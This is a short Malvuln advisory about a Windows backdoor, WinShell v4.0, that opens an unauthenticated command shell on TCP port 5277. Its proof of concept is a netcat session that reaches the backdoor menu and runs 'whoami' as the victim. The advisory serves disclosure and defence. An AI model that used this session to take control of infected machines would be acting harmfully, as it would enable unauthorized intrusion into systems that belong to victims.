Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.WinShell.40 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine. Type: PE32 MD5: c98e23742807f3cb5a095f34e0eb0e52 Vuln ID: MVID-2021-0310 Disclosure: 07/27/2021 Exploit/PoC: nc64.exe x.x.x.x 5277 WinShell v4.0 (C)2001 by janker http://www.bugsos.com ? for help CMD>? i Install u Uninstall w Where r Reboot p Poweroff q Quit e End s Shell url download ? for help CMD>s Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. C:\Users\Victim\Desktop>whoami whoami desktop-2c3iqho\victim C:\Users\Victim\Desktop> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).